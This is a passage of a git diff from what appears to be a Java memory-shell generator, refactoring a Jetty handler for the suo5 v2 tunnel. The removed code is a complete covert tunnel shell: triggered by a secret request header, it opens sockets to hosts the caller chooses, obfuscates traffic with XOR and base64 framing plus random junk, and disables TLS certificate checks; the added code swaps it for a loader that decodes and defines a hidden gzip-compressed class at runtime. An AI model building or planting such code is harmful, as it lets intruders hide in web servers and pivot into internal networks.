(k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Throwable e) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; } - - private byte[] toByteArray(InputStream in) { + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); - } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index 9731453f..a6d7fa7d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -1,51 +1,24 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); +public class Suo5v2JettyHandler extends ClassLoader { - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2JettyHandler() { } - public Suo5v2JettyHandler(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2JettyHandler(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2JettyHandler(ClassLoader parent) { + super(parent); } @Override @@ -71,12 +44,14 @@ public boolean equals(Object obj) { response = args[1]; } try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null && value.contains(headerValue)) { + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2JettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class.newInstance().equals(new Object[]{request, response})) { if (baseRequest != null) { baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); } - new Suo5v2JettyHandler().process(request, response); return true; } } catch (Throwable ignored) { @@ -84,1006 +59,37 @@ public boolean equals(Object obj) { return false; } - private void process(Object request, Object response) { - String sid = null; - byte[] bodyPrefix = new byte[0]; - try { - InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(request, response, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(response); - processFullStream(request, response, dataMap, tunId); - break; - case 0x02: - setBypassHeader(response); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(request, response, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - response.getClass().getMethod("setStatus", int.class).invoke(response, 403); - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(response, processTemplateStart(response, new String(sidData)), dirySize); - do { - processHalfStream(request, response, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(response, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(response, new String(sidData))); - - do { - processClassic(request, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - response.getClass().getMethod("setContentLength", int.class).invoke(response, baos.size()); - writeAndFlush(response, baos.toByteArray(), 0); - } - - break; - default: - } - } catch (Throwable e) { - } finally { - try { - OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(Object resp) throws Exception { - resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, BUF_SIZE); - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(Object resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(Object req, Object resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(Object req, Object resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.getClass().getMethod("setContentLength", int.class).invoke(resp, baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(Object req, Object resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = (InputStream) req.getClass().getMethod("getInputStream").invoke(req); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - - Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(Object req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.getClass().getMethod("flushBuffer").invoke(resp); - } - - private byte[] performCreate(Object request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2JettyHandler(tunId, 1)).start(); - new Thread(new Suo5v2JettyHandler(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - private int getServerPort(Object request) throws Exception { - int port; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { - String method = (String) request.getClass().getMethod("getMethod").invoke(request); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Throwable e) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; } - - private byte[] toByteArray(InputStream in) { + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); - } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - bufferOffset += 